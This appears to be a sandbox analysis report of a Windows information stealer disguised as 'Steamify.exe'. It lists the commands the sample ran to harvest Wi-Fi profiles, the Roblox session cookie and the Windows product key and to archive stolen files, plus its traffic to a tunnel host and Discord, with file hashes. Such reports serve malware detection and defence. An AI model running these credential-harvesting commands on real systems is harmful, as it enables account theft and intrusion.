AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sroobowt\sroobowt.cmdline"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEC5.tmp" "c:\Users\Admin\AppData\Local\Temp\sroobowt\CSC75805D5BC69146FAA7F1B87F0AFC23.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI8042\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\z97p9.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI8042\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI8042\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\z97p9.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
BE 2.17.107.105:443 www.bing.com tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 105.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 inn-ht.gl.at.ply.gg udp
US 147.185.221.18:60031 inn-ht.gl.at.ply.gg tcp
US 8.8.8.8:53 18.221.185.147.in-addr.arpa udp
US 147.185.221.18:60031 inn-ht.gl.at.ply.gg tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 21.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 18.24.18.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\Steamify.exe

MD5 43d1c8246c9405244116d6ff630b1656
SHA1 3d64e6e434d45b015976cf7c92dda8c071ac4bf2
SHA256 747a6d8099aa37ebb5a01695a03eec3bcdfc3e80e8d3474a604110dfce75ed3a
SHA512 b6a875a784afd3cd41b48077816c9e2b9e4b93d282561cdf97dd7e3729af484de5627e63dd402f66080cb9f5b39b2fd7c3403bec6234800eec7e424d3159845c

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 3d0f60a06bfead1b3ce9847dbd9ce7e7
SHA1 e79eff9033d46736a876ab3379038a592d8e210f
SHA256 e9dad4f37bdc3e80130637b3b5de29bf78e376cb8b8894a27ab4b727d60dff5b
SHA512 c0eb730f283df54c2f061da019b57879e29b8f5549309d71630fcb541be894d47eab3943d011363dd0a9bd93e07962411454d9e88e6f5d61a4e0babfde62fc08

memory/4332-22-0x0000000000380000-0x0000000000398000-memory.dmp

memory/4332-23-0x00007FF8FF3D3000-0x00007FF8FF3D5000-memory.dmp

memory/4816-24-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

memory/4816-25-0x00000000002A0000-0x0000000000368000-memory.dmp

memory/4816-26-0x0000000002630000-0x0000000002656000-memory.dmp

memory/4816-27-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/4816-28-0x0000000005320000-0x00000000058C4000-memory.dmp

memory/4816-29-0x0000000004D70000-0x0000000004E02000-memory.dmp

memory/3648-30-0x0000020C7F450000-0x0000020C7F472000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uklktpq4.sfq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d14ccefeb263594e60b1765e131f7a3
SHA1 4a9ebdc0dff58645406c40b7b140e1b174756721
SHA256 57cd435c8b2bf10a2c77698301789c032e1b6b623ff1420c72e8bca0b10f1e5c
SHA512 2013a26123f72a4106524fd9d7389ac4654f97033d22707efc084fb2a3ad01c298eb64f01bb64861ab603615022dbe7cfc97475346edb16b3ba72e905127f101

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ce4540390cc4841c8973eb5a3e9f4f7d
SHA1 2293f30a6f4c9538bc5b06606c10a50ab4ecef8e
SHA256 e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105
SHA512 2a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b

memory/4816-80-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/4332-84-0x00007FF8FF3D3000-0x00007FF8FF3D5000-memory.dmp

memory/4332-85-0x000000001EDB0000-0x000000001EE60000-memory.dmp

memory/4332-86-0x000000001F830000-0x000000001FD58000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

C:\Users\Admin\Built.exe

MD5 d1d7ed09f30ed95c0fe3a550492963f9
SHA1 2246df70aefa0532d3835f633c3950acef0cd5bd
SHA256 3f74a4e6b77ff77b0818f1d736029d68fcc3a5ed7f035c0b14fe59835d9f89c5
SHA512 cf9bcea3ef688ef24b2f1a483677072118a3d30f1f2b0e6bc09b1413336b48ba1743852e35ace8117667d12e035104a4726125ec49bc67699a76377735916f3c

C:\Users\Admin\AppData\Local\Temp\_MEI8042\python310.dll

MD5 37bca234095b34b410f9c76e8aabc048
SHA1 cee23e641535fe5724f5af0e68df2b2c98fe5b0b
SHA256 a7c9926a4a279d2fa2a0b4b8adcececc4e1009b0b08d2e689168068d08457cbe
SHA512 9a89c50c54d5ff92bd36dd37d0d5b6a8320dc9702259fbb5d0ef1296396a9cf20e84b4dad86ea627b257682da2346b44aeabc4074d231f50705f3533126f4bec

C:\Users\Admin\AppData\Local\Temp\_MEI8042\VCRUNTIME140.dll

MD5 11d9ac94e8cb17bd23dea89f8e757f18
SHA1 d4fb80a512486821ad320c4fd67abcae63005158
SHA256 e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e
SHA512 aa6afd6bea27f554e3646152d8c4f96f7bcaaa4933f8b7c04346e410f93f23cfa6d29362fd5d51ccbb8b6223e094cd89e351f072ad0517553703f5bf9de28778

memory/3068-145-0x00007FF8F9260000-0x00007FF8F96C5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI8042\base_library.zip

MD5 1ebb920a2696a11237f3e8e4af10d802
SHA1 f86a052e2dfa2df8884ebf80832814f920a820e6
SHA256 d0e26325e67b3db749a83698413c4c270d8b26cd7dbc607006bc526ee784d6df
SHA512 2cfa6746dcdf575f26267b359a8820a6f29d81967c62131463802b30db2e17c8f159a2cbc652f25bdfdfd7c5942d26a26f9e1df984f8560696153a3427e4fb47

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_ctypes.pyd

MD5 f911615290c2e474593570ff49a0d37c
SHA1 bc274dcc1cbaa11215ceecb893cd0b0fddbcf25a
SHA256 afff032e99ec7dfae085e57d90a34409bea2bcd173fd7688129b76a40bf679d3
SHA512 46b6755d7b9f7e223c757828b2c76519d79cf782c6a61b27a5096913ea8bc717a47ce51f68d5a2e3755c28720226c8281c2d89a29dc800295e157e33300b1959

C:\Users\Admin\AppData\Local\Temp\_MEI8042\libffi-7.dll

MD5 6f818913fafe8e4df7fedc46131f201f
SHA1 bbb7ba3edbd4783f7f973d97b0b568cc69cadac5
SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
SHA512 5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

C:\Users\Admin\AppData\Local\Temp\_MEI8042\libssl-1_1.dll

MD5 345387a8d1af7d80459060c5666d1ec2
SHA1 d53697afa4df9569ff5f8ddc52652a976ccb39f9
SHA256 5127c01aa1f7b6144498de56ec9ad4f4652a7825dae0958a80ca9ebfe46af3c4
SHA512 b0a8c1c9720bc4a13b888eb787a3ea4185452aaf3b283fec9185fa4992370bfb2d725bb5dae9eb170aa9fe52295a1f6e745cbe562f8fcb3cb067eda3ee39b746

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_ssl.pyd

MD5 d2797b9973de49d2ec21dc92c81fb45d
SHA1 5e1b6624965e2513b08df114fd2b551d783e611d
SHA256 75c787d8012155a4fb3cfac98659dad2ac4ed97f3e8c7f8636f1f26da8447a62
SHA512 f7d453a7d13bb603163dd5a36d7879152cfc175042e6477f7e620f5e5cbeb13bc7194370858c2c46a52deae2bcebc0b1ca4d8333aad93620898d7debef4321df

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_sqlite3.pyd

MD5 b5134aa73900fe456b03886a0bdfeefb
SHA1 251d92c9bf6d211ad020149fd84a21fb65513d58
SHA256 93ab57add576c9d78cf763c57d207310d8863b94720ddc49b7274c49a5413e22
SHA512 e065f08a461c6383ff605064985ff44b4d2f895e04b994f2859fcce8759129047e04a8b6908ebfafd9b534acd0a844281070da113685c448bef0caea595d1448

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_socket.pyd

MD5 c69049c7709ba51b9d008f82e6228d69
SHA1 c2763dded2f31ef3bbaccf56271182dfef6ffbb3
SHA256 511d8d612ea3d31b09815bae9c32d765e30e5da880d0a0826aa46b2cefb89b9f
SHA512 848802e3d0d9562fb27e9cbe0e78794593070ac45b83911cd8b1b6297c830fedcdfd433a13861ace229c82a76d9be2871b46bb8f8fe90c1a1088f36b3cc9b2f4

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_queue.pyd

MD5 3b152dfe184f3d1f703e185b8b591567
SHA1 18a0abda2853d2d65f84d453c1fd3d1cd215c412
SHA256 b41abc88a0e5fc43a9506646a185a6874d6cd21366da3cad1b3311ec14c91612
SHA512 566734712d7ce6670985fc8e39af466d2a4f388f193ade99cb6ef7ad02a0f3ea93b27a1e36d4899eaeeccb49e1cf8124ac00487c4a7724527d678e466ffac734

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_lzma.pyd

MD5 1548750969e9f4f0314df9d6977a8512
SHA1 70db7db19435f2c1bc35f3eec2ba80d4ded0190c
SHA256 e46ce0d226a9f16c7534cdd2dac02f52dac04349fd89f67bf32810753f22c380
SHA512 d832cc07234d8c6237832719afb0b22e9a10c8e6bec7399174bc2132aad1cb878e0bb34d826fb1e522b40c6f2c0ea9e311ef50f97ab2b131b544ad4a1e4d2e72

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_hashlib.pyd

MD5 62ef0bd76397e6e1597a8fac95417f80
SHA1 7427ec53089a34d2651db6b91eb35d1dd2100851
SHA256 92434b3d6b5b3a1641e918e6c8db103c64fa796f76640b2c06c6fb2546b95add
SHA512 176827453bdead8bce83f039244f9e8c789654d7a1f034baf918c40775c6ea97bce61c6d853ab4905a3143a34691fc2ec04a0f1372dc09290f9c24bd09a89a5e

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_decimal.pyd

MD5 1777f6fca8c9dd7dae318d82e1026e6f
SHA1 80733116d800ad2db672f2b0fa9acfe248610fbd
SHA256 cd656dbca884f4fc0bef601a31bfa3487339698b6a83d542f7766ef1c559cb6c
SHA512 eb2bc1e9a730d945d7be944c3495da6924ffe36072ab73dd4179f7612d5ff1846ae19048f3781b796b520bb02b975ec1aba2aa922c7a06d8ae01dd4ad511a1a8

C:\Users\Admin\AppData\Local\Temp\_MEI8042\_bz2.pyd

MD5 72df51b58f400e480d04bee82585d889
SHA1 c751408b95243affd23f19be7f2363730a0ca0f3
SHA256 661e3d8afa17b4400ae4657d3cf4123493afc3c18c485ca53517a3bb5b9236c6
SHA512 bd889cd29591ff7f1274aab138a626173512b7c8244755e70bfdc5c5b624d93bd97efcfb1d3e76e13ffeb111f5fecb5a073c3420285212fef44091bb51c9385e

C:\Users\Admin\AppData\Local\Temp\_MEI8042\unicodedata.pyd

MD5 f354238d8a4e2d3f1d532975c4cae405
SHA1 4230069d43349f0aa725833a7998d516820490b9
SHA256 4eb6ffca76135df20ed52a90626fd717d9cfbff16bfc62fd97f212a91d89e552
SHA512 7f859e21f33c430e8f1b46ceecf44b92c847c93dbc35919deaff1433a56ff6e707ae1e88a7b9ebdd0fff1783ef1140a88e723eb0042d728b29333e0b4584ee7a

C:\Users\Admin\AppData\Local\Temp\_MEI8042\sqlite3.dll

MD5 270939e2db0ac4c562398b31d67df675
SHA1 b787bd6b802ff8a43cfc4161d090baef2bba34f4
SHA256 430813405678c04691c74da56462be90a3439c1442a18873ceb719405914ba5c
SHA512 e43c26004f790937717ede200a5e5d71f6e4ba94985848ddf748912531296c0c373992a6bb951c6eabb787a70652e7aef3c227044b7d677674d46a0b09fd93ee

C:\Users\Admin\AppData\Local\Temp\_MEI8042\select.pyd

MD5 5ea4ded3b551945f889f8344a29cb8d6
SHA1 dcc7eda3457b3bf98f67bfab9f042c07bb35b89d
SHA256 9ec5e5c46d2a154c4853a89f6330be252d7f5a42fbdde27f079c3dd59328a036
SHA512 85371819f44656a3add6623a81ef3cb7b7d11c6c3a9561c2acd5c008f42a7a9f3c2bbee67693d9d43fb9607e47331fe0ed3df8ade22cc8c59a6af701bd0d6679

C:\Users\Admin\AppData\Local\Temp\_MEI8042\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI8042\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

memory/3068-168-0x00007FF918450000-0x00007FF91845F000-memory.dmp

memory/3068-167-0x00007FF912C90000-0x00007FF912CB4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI8042\libcrypto-1_1.dll

MD5 4dc7da1ac1c40196ef9cf2081ebcaaf4
SHA1 1dd5ffb0de01c759f84a3a4f185bf99539b8d68e
SHA256 84ce58b5132ee40cef1eefb03848fc5700ab0451614700f57f9f10b7607b75ee
SHA512 59b7f4b1a479a03aee0701856069734cc2299dbf5ad77c18ee5fa30fe7da0c01946337c463dd22ea487ce89128a46989b056ab146465e2e46a06cd160e5fc65a

C:\Users\Admin\AppData\Local\Temp\_MEI8042\blank.aes

MD5 7fd1204d25f045393bce003e1bc0ca83
SHA1 98d1818aa65f3607c205f88be85f6b5d30653aa6
SHA256 926bd2c7edec5420e0d19a61de2ad4ce1383b3ddce0755b2686b1fb2bcd036e5
SHA512 726a73227602504c8bea47397d8a4b647fbc633c40b2deac2aab9413c736c82cade9983115adcac6ab551bea225ed0db105563dc783d2b841219e28f9a5cea1c

memory/3068-174-0x00007FF912C60000-0x00007FF912C8C000-memory.dmp

memory/3068-177-0x00007FF913820000-0x00007FF913839000-memory.dmp

memory/3068-178-0x00007FF912C40000-0x00007FF912C5E000-memory.dmp

memory/3068-180-0x00007FF90DB10000-0x00007FF90DC7D000-memory.dmp

memory/3068-184-0x00007FF9183B0000-0x00007FF9183BD000-memory.dmp

memory/3068-183-0x00007FF912C20000-0x00007FF912C39000-memory.dmp

memory/3068-186-0x00007FF90DAE0000-0x00007FF90DB0E000-memory.dmp

memory/3068-192-0x000001F3E8490000-0x000001F3E8804000-memory.dmp

memory/3068-191-0x00007FF8F8EE0000-0x00007FF8F9254000-memory.dmp

memory/3068-190-0x00007FF8FC1F0000-0x00007FF8FC2A6000-memory.dmp

memory/3068-196-0x00007FF913580000-0x00007FF91358D000-memory.dmp

memory/3068-195-0x00007FF912B40000-0x00007FF912B55000-memory.dmp

memory/3068-200-0x00007FF8FC0D0000-0x00007FF8FC1E8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3db1c0d23daacf01eb99125ccc2787d3
SHA1 0849528de1ba411279231d635d8f39d54cc829d2
SHA256 bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582
SHA512 3d84635a3395bca1d91ce182ccfb9e38c8da87ad678704673a72d580e4251cedc5a6b2a89040a172a5687b67952e74a13673bd115bce7bdabaed06f89323de5b

C:\Windows\System32\drivers\etc\hosts

MD5 f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1 e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
SHA512 c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

\??\c:\Users\Admin\AppData\Local\Temp\sroobowt\sroobowt.cmdline

MD5 2d59e7c091cbce8107bafaa5e9377453
SHA1 f5cee4821a4023cc56a866c5210bf8601ed4f26f
SHA256 74a0ee7da8b2d219fb477a50bfdd03a2f4d386adb4ec5acc44516255b02e54a0
SHA512 1239f285ae67b6c39c004f294e25c0bf6aee3e9e9315ee1e90175bf0ced750132b8e454bfb9f5734bb4b1f9b13b9622142433f23eae8a0f11452c6685ccda64f

\??\c:\Users\Admin\AppData\Local\Temp\sroobowt\sroobowt.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\sroobowt\CSC75805D5BC69146FAA7F1B87F0AFC23.TMP

MD5 e7029af873e2738ea653b9ca00a0d1cc
SHA1 c31d16b30b2a980fbee330a5d737e73a164fd40a
SHA256 38fe23e5479899e46bfb1302a8b9f5d773168814be5f44d0b48f8f4c29ba0d4b
SHA512 1ac0c7da2e33a315868aafb5589b3b5620b3fcb6186e83b1b0f39990a19bea152c031db4e4402957c5a67fa2746e61200c46b2733b5fbb35a80093b0464f39f9

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3b444d3f0ddea49d84cc7b3972abe0e6
SHA1 0a896b3808e68d5d72c2655621f43b0b2c65ae02
SHA256 ab075b491d20c6f66c7bd40b57538c1cfdaab5aac4715bfe3bbc7f4745860a74
SHA512 eb0ab5d68472ec42de4c9b6d84306d7bca3874be1d0ac572030a070f21a698432418068e1a6006ff88480be8c8f54c769dee74b2def403f734109dba7261f36b

C:\Users\Admin\AppData\Local\Temp\RESCEC5.tmp

MD5 372b9e44dddcf25f01cd53af030ed449
SHA1 4753591547940e02fe028d67d2343ca8c40ab860
SHA256 9d26c10a09b99d3a7ef60c3ad503d4ea0305b55ee9c7963489e10cbb9a173836
SHA512 6c95d53fb6d2d439a0688da4531afc438522818d75ee9b839b4e697f8295d30ca7d140c912f95d3f35dd0f00e68cbfb10fe9dd58043c0c9f18b719f37e396ae2

memory/220-314-0x00000276A11C0000-0x00000276A11C8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sroobowt\sroobowt.dll

MD5 c1301fcfc0e95a08525c0d80a4f8dfe6
SHA1 f6fc27fd7c2c475e8724e96f9b969f41d102ae0b
SHA256 b2d3406a36e8b90bb39bfa41304f4e9bfa0b37175f88d8639bf31c30e9ce1c0e
SHA512 dc2fbbe3142312267deec85025428c201f9500c09d45fd942c7a8219b17030d3f41c0d878692329cbbe7cbea2babf17b914d36b18c9cd705c1304952a62341d5

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 8a1d5945d69caaa5ad4650aa92416db8
SHA1 fce5ff33231a7b99c4e54afac0b356aa72c86aef
SHA256 536f6c89e5a645ed4b13768d4e63be2900f010b341e04729e79c04af7af1d567
SHA512 04a94cfc967dccb836f2a51b86f861f77421f57bfc6826b00a63a86df995e0e873b38a5c930a15a173b3ea4e768776a13860206468d1bb7ec614ce93f8143cc2

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d0a40a2d16d62c60994d5bb5624a589b
SHA1 30f0a77f10518a09d83e6185d6c4cde23e4de8af
SHA256 c213a4024e89a0240d0b1fa3b18ea3db3db7bbe7ca1bdeed86dce9c2c4991ef8
SHA512 cecef5087f194a83948880e36445324406218f6877386d6db7850b8f97ac107e042ea9445bb7e73c6e6a2c7da9782b7dae8caba0a1c997677d096b3271a4cac0

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 91bb727f9f38b062b79d16732e0f8309
SHA1 2af9b4370e0b2349ef5c63922294e88cfc3f4d7b
SHA256 5dd7a416fc0c155c48269fae9b4e7664c7426c49df6bb6b79a6b2056e9d81071
SHA512 41edd7aa56125b6171e611ad9c734ad464fea872202c467edbd0af989522fdba7a00cc855f97e1e7ed2790dbd3b8d0f0978841eeeeb5db823ccea6833189d152

memory/3068-376-0x00007FF8F9260000-0x00007FF8F96C5000-memory.dmp

memory/3068-381-0x00007FF912C90000-0x00007FF912CB4000-memory.dmp

memory/3068-402-0x00007FF912C60000-0x00007FF912C8C000-memory.dmp

memory/3068-403-0x00007FF8F9260000-0x00007FF8F96C5000-memory.dmp

memory/3068-418-0x00007FF912C40000-0x00007FF912C5E000-memory.dmp

memory/3068-417-0x00007FF8FC0D0000-0x00007FF8FC1E8000-memory.dmp

memory/3068-414-0x00007FF8F8EE0000-0x00007FF8F9254000-memory.dmp

memory/3068-413-0x00007FF8FC1F0000-0x00007FF8FC2A6000-memory.dmp

memory/3068-412-0x00007FF90DAE0000-0x00007FF90DB0E000-memory.dmp

memory/3068-410-0x00007FF912C20000-0x00007FF912C39000-memory.dmp

memory/3068-409-0x00007FF90DB10000-0x00007FF90DC7D000-memory.dmp

memory/3068-426-0x00007FF912C20000-0x00007FF912C39000-memory.dmp

memory/3068-440-0x00007FF913580000-0x00007FF91358D000-memory.dmp

memory/3068-439-0x00007FF912B40000-0x00007FF912B55000-memory.dmp

memory/3068-438-0x00007FF8F8EE0000-0x00007FF8F9254000-memory.dmp

